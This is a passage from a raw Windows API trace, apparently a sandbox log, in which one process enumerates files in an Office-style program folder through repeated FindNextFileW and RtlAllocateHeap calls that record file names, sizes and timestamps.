ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d4df100, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ab7000, ftCreationTime.dwHighDateTime=0x1c8d9fe, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9ab7000, ftLastWriteTime.dwHighDateTime=0x1c8d9fe, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b53d600, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd25e4820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b53d600, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91170, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf942ba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x124578, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.DLL", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2630ae0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSHARE.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2904500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x137b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3242fa00, ftCreationTime.dwHighDateTime=0x1cb7017, ftLastAccessTime.dwLowDateTime=0xd2a812c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3242fa00, ftLastWriteTime.dwHighDateTime=0x1cb7017, nFileSizeHigh=0x0, nFileSizeLow=0x1a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1c770, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="")) returned 1 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3357b00, ftCreationTime.dwHighDateTime=0x1cba075, ftLastAccessTime.dwLowDateTime=0xcfdb94e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa3357b00, ftLastWriteTime.dwHighDateTime=0x1cba075, nFileSizeHigh=0x0, nFileSizeLow=0x36160, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd00b3060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f6a020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x30968, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITOR.EXE", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f90180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xad88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITORS.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2fdc440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMENTS.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd30c0c80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x237a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMUTIL.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x60903850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x206fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.316] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGDIC.DAT", cAlternateFileName="")) returned 1 [0069.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x8578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGIDX.DAT", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x4c22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGLISH.LNG", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xf380, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x41980, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x35980, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x81e8ee40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERXIMP.ADD", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cdf900, ftCreationTime.dwHighDateTime=0x1cac26b, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52cdf900, ftLastWriteTime.dwHighDateTime=0x1cac26b, nFileSizeHigh=0x0, nFileSizeLow=0x1aecb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e14a00, ftCreationTime.dwHighDateTime=0x1cac1f0, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8e14a00, ftLastWriteTime.dwHighDateTime=0x1cac1f0, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64d0300, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd64d0300, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x17d6360, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51bd600, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd51bd600, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.317] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x522443b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x1372c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRM.XML", cAlternateFileName="")) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd3159200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x533a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTRACT.DLL", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd01e3b60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x18bf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.DLL", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd02ee500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17d368, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76567200, ftCreationTime.dwHighDateTime=0x1cbc9ed, ftLastAccessTime.dwLowDateTime=0xd7980ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76567200, ftLastWriteTime.dwHighDateTime=0x1cbc9ed, nFileSizeHigh=0x0, nFileSizeLow=0x26cb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="GFX.DLL", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: 